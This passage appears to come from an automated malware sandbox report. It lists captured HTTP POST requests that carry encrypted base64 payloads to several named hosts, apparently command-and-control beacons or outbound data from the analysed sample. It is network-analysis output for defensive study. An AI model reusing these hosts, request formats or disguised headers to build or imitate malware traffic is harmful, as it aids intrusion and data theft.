4Kn4qB6f3wbqEM2xafsdOQH+rq5e17lvMiFkm3KGnuOavgml2uhvw3IwpSgor8xUN5IoQLw9dBiz0k2NrH6LZJBED6wluNuuQ4H96AkAHGWouEkY44Ck0XOqAmBU8iz3PS/mNy3q/lt1qZ+wtrh8pFWfuHPu4SxPP6z7plWML2uOwouJifVdhf0pBrnDxSsbvRfu5Sz1AvAWE7gUl8UVl6cdjZw64tx6+tVYYIfGFshEAbmx//94D2rK5Cg2Q/sDoKPfSga4L5XA9p/uxeRvfNTHKiJfV+ILcC7iqe1rOJJ7l+tIuvqjkAVH2wFBGwVoChrtgwR/tSp5EatASU2viYgSREMzHHz9QJvPqsYXLfPXPwaaP7DGZOqmOBIdpKNJrX32jHXGKwTBj5F4aapiecsE7mmzhjfjU2P+WYtHq/QAVOCb925Hw1PKBRi4/q9d/V7Us1e4e5WGcIdSNZZ/2AxAFvW/P/IOy+zF//j28JXDg0hP60KIAIljbGeCRYLEUVpDJwko8L/ankLAGybE1yzAeo4YDHXEsUj2UYNRZ4f2X3xjqDQM0dsEWBOP02xFQSw2cTHYaVWZnA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pb-games.comCache-Control: no-cacheData Raw: 34 4b 6e 34 71 42 36 66 33 77 62 71 45 4d 32 78 61 66 73 64 4f 51 48 2b 72 71 35 65 31 37 6c 76 4d 69 46 6b 6d 33 4b 47 6e 75 4f 61 76 67 6d 6c 32 75 68 76 77 33 49 77 70 53 67 6f 72 38 78 55 4e 35 49 6f 51 4c 77 39 64 42 69 7a 30 6b 32 4e 72 48 36 4c 5a 4a 42 45 44 36 77 6c 75 4e 75 75 51 34 48 39 36 41 6b 41 48 47 57 6f 75 45 6b 59 34 34 43 6b 30 58 4f 71 41 6d 42 55 38 69 7a 33 50 53 2f 6d 4e 79 33 71 2f 6c 74 31 71 5a 2b 77 74 72 68 38 70 46 57 66 75 48 50 75 34 53 78 50 50 36 7a 37 70 6c 57 4d 4c 32 75 4f 77 6f 75 4a 69 66 56 64 68 66 30 70 42 72 6e 44 78 53 73 62 76 52 66 75 35 53 7a 31 41 76 41 57 45 37 67 55 6c 38 55 56 6c 36 63 64 6a 5a 77 36 34 74 78 36 2b 74 56 59 59 49 66 47 46 73 68 45 41 62 6d 78 2f 2f 39 34 44 32 72 4b 35 43 67 32 51 2f 73 44 6f 4b 50 66 53 67 61 34 4c 35 58 41 39 70 2f 75 78 65 52 76 66 4e 54 48 4b 69 4a 66 56 2b 49 4c 63 43 37 69 71 65 31 72 4f 4a 4a 37 6c 2b 74 49 75 76 71 6a 6b 41 56 48 32 77 46 42 47 77 56 6f 43 68 72 74 67 77 52 2f 74 53 70 35 45 61 74 41 53 55 32 76 69 59 67 53 52 45 4d 7a 48 48 7a 39 51 4a 76 50 71 73 59 58 4c 66 50 58 50 77 61 61 50 37 44 47 5a 4f 71 6d 4f 42 49 64 70 4b 4e 4a 72 58 33 32 6a 48 58 47 4b 77 54 42 6a 35 46 34 61 61 70 69 65 63 73 45 37 6d 6d 7a 68 6a 66 6a 55 32 50 2b 57 59 74 48 71 2f 51 41 56 4f 43 62 39 32 35 48 77 31 50 4b 42 52 69 34 2f 71 39 64 2f 56 37 55 73 31 65 34 65 35 57 47 63 49 64 53 4e 5a 5a 2f 32 41 78 41 46 76 57 2f 50 2f 49 4f 79 2b 7a 46 2f 2f 6a 32 38 4a 58 44 67 30 68 50 36 30 4b 49 41 49 6c 6a 62 47 65 43 52 59 4c 45 55 56 70 44 4a 77 6b 6f 38 4c 2f 61 6e 6b 4c 41 47 79 62 45 31 79 7a 41 65 6f 34 59 44 48 58 45 73 55 6a 32 55 59 4e 52 5a 34 66 32 58 33 78 6a 71 44 51 4d 30 64 73 45 57 42 4f 50 30 32 78 46 51 53 77 32 63 54 48 59 61 56 57 5a 6e 41 3d 3d Data Ascii: 4Kn4qB6f3wbqEM2xafsdOQH+rq5e17lvMiFkm3KGnuOavgml2uhvw3IwpSgor8xUN5IoQLw9dBiz0k2NrH6LZJBED6wluNuuQ4H96AkAHGWouEkY44Ck0XOqAmBU8iz3PS/mNy3q/lt1qZ+wtrh8pFWfuHPu4SxPP6z7plWML2uOwouJifVdhf0pBrnDxSsbvRfu5Sz1AvAWE7gUl8UVl6cdjZw64tx6+tVYYIfGFshEAbmx//94D2rK5Cg2Q/sDoKPfSga4L5XA9p/uxeRvfNTHKiJfV+ILcC7iqe1rOJJ7l+tIuvqjkAVH2wFBGwVoChrtgwR/tSp5EatASU2viYgSREMzHHz9QJvPqsYXLfPXPwaaP7DGZOqmOBIdpKNJrX32jHXGKwTBj5F4aapiecsE7mmzhjfjU2P+WYtHq/QAVOCb925Hw1PKBRi4/q9d/V7Us1e4e5WGcIdSNZZ/2AxAFvW/P/IOy+zF//j28JXDg0hP60KIAIljbGeCRYLEUVpDJwko8L/ankLAGybE1yzAeo4YDHXEsUj2UYNRZ4f2X3xjqDQM0dsEWBOP02xFQSw2cTHYaVWZnA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sclover3.comCache-Control: no-cacheData Raw: 62 48 52 45 32 2b 56 49 36 77 63 43 6b 6f 4c 71 6a 4f 58 4a 67 46 36 57 37 5a 51 7a 50 75 54 79 36 5a 74 42 39 77 58 4c 4a 36 4c 68 38 59 77 62 4f 54 6a 4d 66 59 70 6a 66 69 47 55 2f 74 71 74 77 39 4f 4e 58 34 6e 75 59 2f 43 43 35 49 79 75 54 2b 2b 4f 33 57 42 4f 64 6a 4f 55 52 45 78 78 76 49 72 30 44 2b 4e 69 36 41 5a 2b 78 6e 32 78 32 75 31 52 36 62 5a 72 68 4a 7a 63 32 4b 52 32 7a 75 6b 33 46 59 46 76 73 4f 41 5a 79 77 44 78 4a 47 72 6c 53 6c 52 32 77 50 41 53 69 67 38 41 72 6e 69 55 36 68 39 43 78 67 71 6f 4e 4f 6a 6e 56 75 4a 4f 66 31 74 68 45 44 69 38 4b 44 32 61 56 61 61 6d 6f 58 50 5a 31 4f 4a 72 43 61 4c 66 76 38 70 63 46 6b 32 72 4b 6b 79 49 73 65 72 4a 49 62 6c 4c 57 46 56 39 32 74 50 4e 38 77 43 51 62 68 5a 55 58 71 63 64 54 44 55 31 49 59 54 63 56 52 79 4b 53 63 35 46 66 49 6e 4a 58 63 42 7a 5a 69 61 72 58 50 43 43 61 52 38 58 56 30 34 36 79 65 69 34 51 44 5a 4c 6a 67 49 34 54 6b 4e 53 51 65 32 41 69 61 56 36 4b 38 6c 2f 54 68 76 38 37 67 73 47 77 32 65 76 61 59 37 38 59 36 71 41 2f 64 37 48 51 76 50 54 77 51 78 33 30 4d 73 33 32 48 4f 43 71 34 74 59 31 44 53 48 7a 33 74 37 43 71 53 6a 6e 56 44 41 78 47 7a 4c 74 43 76 30 4b 64 5a 77 32 43 6c 75 68 7a 42 77 77 4a 6b 6a 6e 51 53 37 44 6a 6d 4b 4d 4d 75 4a 52 69 55 65 79 61 77 50 50 36 4d 67 4d 68 4d 4f 34 77 79 46 77 34 62 52 75 4d 32 6b 48 57 6e 6d 4d 5a 62 30 56 2f 37 54 52 7a 75 2b 48 74 6d 2b 63 4b 36 41 55 37 6e 6e 45 73 39 37 4e 4c 68 75 2f 36 39 49 6e 45 54 4e 74 75 52 38 71 32 31 57 4e 69 58 61 70 68 4f 6a 4e 30 65 5a 4f 6e 7a 56 76 42 74 44 39 2f 38 52 69 4a 32 6f 69 76 62 47 4d 46 50 4e 44 57 36 34 33 42 68 58 73 68 47 57 69 59 49 64 41 36 4b 5a 67 71 4f 69 74 37 2f 65 66 56 56 57 59 45 44 68 56 49 73 49 69 41 2f 53 78 68 5a 6c 76 47 45 3d Data Ascii: bHRE2+VI6wcCkoLqjOXJgF6W7ZQzPuTy6ZtB9wXLJ6Lh8YwbOTjMfYpjfiGU/tqtw9ONX4nuY/CC5IyuT++O3WBOdjOURExxvIr0D+Ni6AZ+xn2x2u1R6bZrhJzc2KR2zuk3FYFvsOAZywDxJGrlSlR2wPASig8ArniU6h9CxgqoNOjnVuJOf1thEDi8KD2aVaamoXPZ1OJrCaLfv8pcFk2rKkyIserJIblLWFV92tPN8wCQbhZUXqcdTDU1IYTcVRyKSc5FfInJXcBzZiarXPCCaR8XV046yei4QDZLjgI4TkNSQe2AiaV6K8l/Thv87gsGw2evaY78Y6qA/d7HQvPTwQx30Ms32HOCq4tY1DSHz3t7CqSjnVDAxGzLtCv0KdZw2CluhzBwwJkjnQS7DjmKMMuJRiUeyawPP6MgMhMO4wyFw4bRuM2kHWnmMZb0V/7TRzu+Htm+cK6AU7nnEs97NLhu/69InETNtuR8q21WNiXaphOjN0eZOnzVvBtD9/8RiJ2oivbGMFPNDW643BhXshGWiYIdA6KZgqOit7/efVVWYEDhVIsIiA/SxhZlvGE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fnw.usCache-Control: no-cacheData Raw: 50 42 6d 59 2b 74 71 51 75 56 51 41 51 67 56 50 2f 53 72 63 6e 68 30 6a 6a 79 76 4b 6f 61 43 31 72 72 44 54 4f 73 4b 36 69 64 61 54 55 72 39 35 55 76 77 6c 37 66 52 6a 46 67 74 56 5a 51 69 70 49 41 50 61 2f 72 72 46 7a 48 7a 4c 71 41 31 6b 76 73 63 75 71 54 74 52 73 4e 4d 50 4c 75 4e 62 70 73 55 2b 6c 30 43 53 6e 4d 51 48 48 64 70 74 30 4a 76 70 7a 4e 44 51 69 7a 32 47 58 77 44 4a 77 42 4f 34 39 2f 46 70 4f 7a 50 61 4c 37 30 35 30 31 4a 4b 4a 6e 41 6c 6d 58 6d 50 6e 37 4a 35 64 41 57 53 4b 47 6b 47 76 79 55 6c 45 6d 6c 43 73 71 66 4f 50 6f 61 33 61 55 53 46 58 6f 2f 2b 30 77 61 46 49 71 6b 6a 2b 38 59 52 39 62 53 78 55 64 49 37 53 51 59 44 53 5a 7a 6a 33 6b 51 6b 77 6c 76 52 6c 43 68 74 42 53 45 6a 57 56 63 6e 55 4e 42 74 77 2b 77 61 43 43 33 6d 67 62 44 64 72 38 4d 53 77 31 6e 37 62 47 62 4d 39 4e 6f 74 63 77 49 43 6a 36 51 4c 70 57 46 79 4f 70 62 7a 4a 58 2b 31 79 4e 68 52 47 4a 70 73 77 63 4b 64 51 72 30 30 50 4b 75 66 7a 6d 58 61 46 74 62 33 45 46 43 50 66 59 2f 34 49 78 42 30 57 78 6a 50 6d 34 2f 35 44 38 34 57 65 50 35 51 6f 4f 6f 66 68 38 78 41 39 48 6a 79 4d 76 61 67 72 61 31 47 6a 6d 67 62 4e 35 68 35 71 61 75 34 6f 70 30 37 58 62 46 70 64 45 68 66 61 2f 59 44 62 47 6d 79 6c 5a 72 6b 77 68 56 4d 52 34 42 45 30 4f 52 69 62 5a 64 42 44 47 70 31 75 32 6b 6b 47 69 65 57 75 71 6b 76 6c 50 38 53 31 48 51 58 53 55 75 6a 37 37 52 53 5a 63 42 77 66 7a 6a 68 2f 67 30 6d 30 4a 4e 56 58 4c 41 54 67 5a 67 37 4c 4e 71 4c 35 6b 32 5a 71 48 33 54 48 55 74 6e 4a 41 41 74 34 53 53 53 66 74 6e 5a 52 61 55 48 47 39 66 4a 63 46 4d 76 32 59 62 4a 4f 50 6d 4c 45 2f 55 2b 32 70 51 33 6f 67 63 72 32 61 6f 53 63 54 38 57 61 4d 68 2b 73 32 4d 68 7a 65 38 77 49 36 6d 71 59 32 5a 6b 49 2b 6f 5a 4b 61 4b 77 Data Ascii: PBmY+tqQuVQAQgVP/Srcnh0jjyvKoaC1rrDTOsK6idaTUr95Uvwl7fRjFgtVZQipIAPa/rrFzHzLqA1kvscuqTtRsNMPLuNbpsU+l0CSnMQHHdpt0JvpzNDQiz2GXwDJwBO49/FpOzPaL70501JKJnAlmXmPn7J5dAWSKGkGvyUlEmlCsqfOPoa3aUSFXo/+0waFIqkj+8YR9bSxUdI7SQYDSZzj3kQkwlvRlChtBSEjWVcnUNBtw+waCC3mgbDdr8MSw1n7bGbM9NotcwICj6QLpWFyOpbzJX+1yNhRGJpswcKdQr00PKufzmXaFtb3EFCPfY/4IxB0WxjPm4/5D84WeP5QoOofh8xA9HjyMvagra1GjmgbN5h5qau4op07XbFpdEhfa/YDbGmylZrkwhVMR4BE0ORibZdBDGp1u2kkGieWuqkvlP8S1HQXSUuj77RSZcBwfzjh/g0m0JNVXLATgZg7LNqL5k2ZqH3THUtnJAAt4SSSftnZRaUHG9fJcFMv2YbJOPmLE/U+2pQ3ogcr2aoScT8WaMh+s2Mhze8wI6mqY2ZkI+oZKaKw
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 45 64 2b 71 79 2f 39 61 77 46 54 49 68 51 64 34 33 69 78 63 45 59 6a 64 78 79 74 56 69 77 62 74 6f 31 4b 50 4e 34 51 61 70 47 67 2b 65 61 42 46 51 76 51 2f 51 64 45 41 2b 6f 54 58 6f 4f 68 51 61 33 61 55 50 2b 6d 56 55 39 47 31 63 35 48 54 44 6c 46 46 46 4f 44 69 63 33 30 51 48 58 30 58 56 30 39 77 68 34 64 52 42 48 6d 64 68 4f 63 34 69 64 48 75 4f 42 63 49 37 62 49 62 39 59 41 7a 5a 55 6d 44 4b 58 4f 30 46 62 58 73 4e 70 4e 39 63 43 49 66 53 72 46 72 4c 64 5a 42 64 4d 4b 69 61 38 58 52 6b 4f 61 6e 34 42 42 62 5a 74 36 77 5a 46 4f 64 78 51 54 6e 74 66 41 4e 69 75 32 30 64 75 76 53 56 6f 4f 2f 72 43 46 79 4d 72 58 30 44 39 33 6e 46 79 76 59 79 36 39 39 6f 74 59 77 49 75 54 59 58 66 48 52 53 4a 51 62 76 4e 6b 6b 30 6f 36 41 78 51 70 38 2f 76 48 44 53 7a 31 32 6e 47 7a 2f 6a 4b 4d 6a 39 45 42 78 63 31 47 6f 46 4a 6a 78 46 56 56 58 6d 65 72 45 6d 6f 32 72 76 37 47 64 77 37 6d 39 61 7a 75 62 6a 30 70 65 5a 66 5a 39 2f 70 4d 31 7a 4d 75 45 37 36 56 68 71 36 62 52 4d 48 7a 63 66 6b 65 4a 7a 53 57 72 6c 6b 78 68 7a 58 33 2b 67 2b 53 33 66 4c 36 55 7a 33 4c 41 68 54 46 42 57 51 37 49 54 74 6e 35 68 66 35 59 57 4a 36 56 6f 64 56 63 41 4e 6f 43 77 79 30 34 2b 4e 45 77 38 34 78 78 37 32 65 2b 6d 33 64 68 4a 52 2b 58 78 76 6b 67 48 34 51 38 55 51 36 69 55 6c 78 72 43 69 6d 41 73 73 57 59 4f 62 36 6c 57 41 33 50 4d 44 6d 54 31 55 4f 63 4e 6c 4c 45 79 36 52 30 52 58 6c 57 7a 79 35 37 55 72 36 76 70 4f 7a 35 7a 6f 51 35 65 47 4a 53 55 6f 71 73 6b 67 51 66 50 78 46 4f 71 36 79 45 42 52 79 77 49 6f 2b 4d 2f 70 70 6e 46 2b 4e 5a 30 62 41 75 74 36 49 68 6b 74 49 57 34 4c 35 4b 7a 74 59 5a 64 43 38 67 78 41 6f 2b 51 71 57 69 6f 57 74 35 72 32 78 30 48 34 4a 37 4a 2f 63 59 45 34 6b 53 36 77 3d 3d Data Ascii: Ed+qy/9awFTIhQd43ixcEYjdxytViwbto1KPN4QapGg+eaBFQvQ/QdEA+oTXoOhQa3aUP+mVU9G1c5HTDlFFFODic30QHX0XV09wh4dRBHmdhOc4idHuOBcI7bIb9YAzZUmDKXO0FbXsNpN9cCIfSrFrLdZBdMKia8XRkOan4BBbZt6wZFOdxQTntfANiu20duvSVoO/rCFyMrX0D93nFyvYy699otYwIuTYXfHRSJQbvNkk0o6AxQp8/vHDSz12nGz/jKMj9EBxc1GoFJjxFVVXmerEmo2rv7Gdw7m9azubj0peZfZ9/pM1zMuE76Vhq6bRMHzcfkeJzSWrlkxhzX3+g+S3fL6Uz3LAhTFBWQ7ITtn5hf5YWJ6VodVcANoCwy04+NEw84xx72e+m3dhJR+XxvkgH4Q8UQ6iUlxrCimAssWYOb6lWA3PMDmT1UOcNlLEy6R0RXlWzy57Ur6vpOz5zoQ5eGJSUoqskgQfPxFOq6yEBRywIo+M/ppnF+NZ0bAut6IhktIW4L5KztYZdC8gxAo+QqWioWt5r2x0H4J7J/cYE4kS6w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 71 30 5a 35 68 4e 70 6f 56 69 63 62 65 4c 48 44 65 4d 66 38 4b 79 55 6f 4a 6e 62 6c 4b 6f 75 71 58 72 75 4f 4d 37 31 36 35 7a 4e 43 49 63 52 78 69 44 67 36 6e 33 6c 4d 45 70 52 38 68 62 69 55 2b 45 42 49 6c 4d 69 42 57 4d 76 55 36 55 6d 61 4c 46 74 30 50 6f 53 66 4f 4d 4a 38 6b 6d 43 4b 54 41 62 41 56 32 4e 48 53 65 4f 58 36 59 78 69 62 61 42 43 64 2b 75 50 6b 66 33 6f 2b 53 53 70 35 64 5a 55 7a 52 54 6e 38 56 35 51 38 62 62 35 39 73 49 32 77 68 2b 65 35 2f 44 37 64 44 57 37 4d 51 55 45 78 35 7a 74 48 48 6e 58 31 37 33 39 4e 71 4e 47 31 74 57 72 54 45 72 4b 5a 34 77 44 59 68 49 46 32 4e 54 51 3d 3d Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.baijaku.comCache-Control: no-cacheData Raw: 79 65 31 35 78 35 6a 59 30 46 53 59 73 58 78 61 6d 34 4d 75 36 49 76 48 52 56 78 67 6e 79 67 44 54 49 32 4e 34 49 4a 39 6a 6d 66 2f 51 31 63 43 56 74 50 6d 7a 54 33 32 6b 44 56 31 42 6e 70 34 31 68 76 52 69 4c 51 4e 4c 62 6f 55 4b 6d 4f 51 67 44 6f 58 73 58 38 77 46 6d 64 36 51 44 6c 54 30 4c 70 53 4c 2f 56 69 32 35 4c 2f 54 61 42 57 2b 52 6b 70 32 53 62 78 6b 71 41 54 5a 72 4e 73 73 7a 75 46 6c 50 36 41 36 55 61 43 35 59 59 74 37 63 38 6e 70 34 55 74 6f 59 43 6c 66 7a 47 64 64 65 4d 76 4a 47 55 54 38 68 34 67 44 36 36 4b 44 35 6b 68 55 5a 36 4a 67 6c 4a 47 50 6a 4a 4e 41 78 4a 6a 38 33 37 77 65 65 53 37 62 55 77 4b 30 4b 44 48 32 67 4d 50 79 52 32 61 2b 73 35 55 38 4a 33 6e 36 78 6a 71 65 73 77 4c 76 5a 4a 62 61 77 34 2b 4e 74 4a 48 47 69 49 4e 72 6b 71 32 50 35 4d 4e 6d 31 4a 6e 4e 52 79 77 55 39 2f 54 2f 44 36 6f 4e 33 48 78 37 46 54 6a 4a 51 74 33 52 43 69 65 41 4e 6a 78 66 44 30 57 30 76 63 49 37 48 58 6b 6b 55 4f 49 77 57 34 41 4a 69 53 63 73 4b 76 4a 6d 50 58 50 56 37 56 76 48 44 64 6f 31 5a 77 53 49 32 55 34 73 31 4f 71 68 79 57 4d 6e 44 6e 69 53 4e 6c 4f 67 58 78 74 50 49 48 39 36 67 63 67 72 61 37 6e 56 6f 65 59 2b 77 78 43 7a 61 77 42 64 6b 2b 79 71 2b 64 66 77 72 44 33 75 36 6d 73 33 57 38 51 32 59 64 6c 59 54 54 71 37 2b 57 7a 4c 31 4f 32 39 55 78 6b 39 6c 71 72 61 6b 56 4d 36 75 2b 70 72 46 6d 66 78 68 48 45 49 49 59 6c 65 41 56 43 58 74 52 76 6e 4f 6c 44 76 6b 6f 2f 2f 35 6a 71 2f 57 52 6d 35 42 72 36 4f 2b 69 67 44 53 54 42 74 45 58 61 39 6f 56 2b 57 47 62 38 4c 51 56 32 39 53 55 62 76 58 4c 58 71 2f 56 4b 69 39 56 35 6c 31 38 54 79 6b 2b 67 67 42 58 73 49 69 36 31 4c 4a 72 4f 59 64 2b 56 7a 4b 4a 33 71 54 32 34 73 46 67 51 33 74 48 66 35 7a 68 50 61 70 35 4f 6f 36 7a 71 4e 7a 6a 6a 4c 59 49 79 2b 4d 55 6e 72 33 46 77 75 37 4e 47 69 4c 61 44 4c 69 68 4e 32 66 67 3d Data Ascii: ye15x5jY0FSYsXxam4Mu6IvHRVxgnygDTI2N4IJ9jmf/Q1cCVtPmzT32kDV1Bnp41hvRiLQNLboUKmOQgDoXsX8wFmd6QDlT0LpSL/Vi25L/TaBW+Rkp2SbxkqATZrNsszuFlP6A6UaC5YYt7c8np4UtoYClfzGddeMvJGUT8h4gD66KD5khUZ6JglJGPjJNAxJj837weeS7bUwK0KDH2gMPyR2a+s5U8J3n6xjqeswLvZJbaw4+NtJHGiINrkq2P5MNm1JnNRywU9/T/D6oN3Hx7FTjJQt3RCieANjxfD0W0vcI7HXkkUOIwW4AJiScsKvJmPXPV7VvHDdo1ZwSI2U4s1OqhyWMnDniSNlOgXxtPIH96gcgra7nVoeY+wxCzawBdk+yq+dfwrD3u6ms3W8Q2YdlYTTq7+WzL1O29Uxk9lqrakVM6u+prFmfxhHEIIYleAVCXtRvnOlDvko//5jq/WRm5Br6O+igDSTBtEXa9oV+WGb8LQV29SUbvXLXq/VKi9V5l18Tyk+ggBXsIi61LJrOYd+VzKJ3qT24sFgQ3tHf5zhPap5Oo6zqNzjjLYIy+MUnr3Fwu7NGiLaDLihN2fg=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 31 2b 78 5a 4b 51 43 32 79 31 54 71 4a 55 33 47 30 7a 46 4c 65 7a 4e 4e 4d 30 66 6f 6a 48 6b 48 4e 4d 32 56 69 61 5a 50 4a 34 45 63 44 69 57 50 77 45 58 51 54 54 35 37 57 37 41 63 51 45 67 64 5a 68 66 4f 56 41 46 6a 31 58 48 4c 7a 74 38 63 31 47 61 31 75 38 42 69 4f 6b 51 49 65 33 6f 50 64 4f 46 31 6b 68 73 35 44 31 63 6b 48 5a 33 57 41 35 34 6c 34 71 75 47 42 32 6e 52 46 66 44 65 50 35 39 50 64 5a 71 66 64 33 42 37 37 6c 38 39 6b 34 4a 38 49 41 7a 65 34 75 56 50 4d 43 38 53 70 6f 58 76 79 30 48 73 31 78 55 4f 54 35 30 63 69 64 61 53 63 31 77 79 41 58 39 52 70 68 73 47 4c 4b 34 6d 71 74 55 79 6a 50 39 68 39 6a 52 33 6b 67 47 6b 37 2f 61 38 38 61 52 33 44 63 7a 33 42 76 46 72 30 7a 77 66 71 6d 55 7a 6e 72 64 4d 43 7a 74 35 45 4f 47 79 56 4b 34 2b 72 6b 4f 62 79 55 38 65 69 39 30 34 41 6d 75 52 47 7a 4d 4b 4e 55 47 46 69 42 53 69 67 42 51 30 55 32 4e 52 69 54 64 4d 75 45 66 74 78 59 69 62 32 79 57 75 44 67 53 47 38 7a 67 73 71 6b 68 61 49 57 4b 47 4e 32 2f 4b 75 72 32 72 7a 4b 56 69 4b 36 68 35 56 38 4e 55 4a 50 66 38 2f 42 33 56 56 49 55 4c 33 79 6f 30 4b 65 74 43 76 6d 68 41 47 35 48 76 4b 7a 77 31 47 4c 4f 38 73 47 4d 34 78 4f 67 32 70 73 74 69 33 33 54 66 78 4a 64 61 61 6e 6b 6c 6f 72 62 61 58 4c 72 61 56 49 64 4d 6b 47 64 76 76 6f 32 6c 32 33 4f 51 42 35 38 68 74 57 45 33 33 32 2f 2f 43 38 4a 36 52 4e 50 76 76 37 5a 73 6f 46 6c 38 6a 72 79 66 34 42 33 6d 55 73 6a 44 6f 77 34 70 2b 77 7a 61 56 4e 64 5a 42 57 36 44 50 41 38 48 4b 62 48 79 54 4e 76 6e 75 78 42 37 73 31 73 2f 79 30 50 77 34 43 31 59 57 48 4a 76 4d 6d 51 6e 57 72 7a 54 71 70 70 4c 57 50 4f 56 6f 69 31 4f 6e 73 78 44 2f 6a 4e 53 76 42 30 57 42 52 30 3d Data Ascii: 1+xZKQC2y1TqJU3G0zFLezNNM0fojHkHNM2ViaZPJ4EcDiWPwEXQTT57W7AcQEgdZhfOVAFj1XHLzt8c1Ga1u8BiOkQIe3oPdOF1khs5D1ckHZ3WA54l4quGB2nRFfDeP59PdZqfd3B77l89k4J8IAze4uVPMC8SpoXvy0Hs1xUOT50cidaSc1wyAX9RphsGLK4mqtUyjP9h9jR3kgGk7/a88aR3Dcz3BvFr0zwfqmUznrdMCzt5EOGyVK4+rkObyU8ei904AmuRGzMKNUGFiBSigBQ0U2NRiTdMuEftxYib2yWuDgSG8zgsqkhaIWKGN2/Kur2rzKViK6h5V8NUJPf8/B3VVIUL3yo0KetCvmhAG5HvKzw1GLO8sGM4xOg2psti33TfxJdaanklorbaXLraVIdMkGdvvo2l23OQB58htWE332//C8J6RNPvv7ZsoFl8jryf4B3mUsjDow4p+wzaVNdZBW6DPA8HKbHyTNvnuxB7s1s/y0Pw4C1YWHJvMmQnWrzTqppLWPOVoi1OnsxD/jNSvB0WBR0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 50 41 4a 37 56 4d 31 73 31 56 52 52 71 2f 2b 71 52 43 65 6b 4e 49 61 71 4a 6a 4d 37 4a 4c 71 78 55 55 72 74 37 6f 53 50 63 77 6f 4f 44 4d 57 59 35 6e 59 79 33 70 38 48 53 54 75 5a 36 72 71 32 70 64 37 47 43 61 54 4b 47 79 4c 7a 61 6f 4b 34 6f 38 61 6b 65 57 49 37 4d 6a 4e 7a 6d 6d 72 70 61 50 77 6f 48 51 44 64 42 4b 47 63 45 4d 32 59 54 39 4f 4d 2f 66 62 55 62 77 6a 6a 6c 67 4b 41 4d 38 41 36 41 71 72 57 56 55 35 63 37 4b 5a 30 4e 69 76 6c 63 53 4d 6b 66 74 36 34 70 62 31 37 4a 66 42 30 42 4a 62 53 52 31 65 79 42 35 41 42 76 47 4c 34 37 4a 5a 45 57 45 6a 7a 79 6f 6b 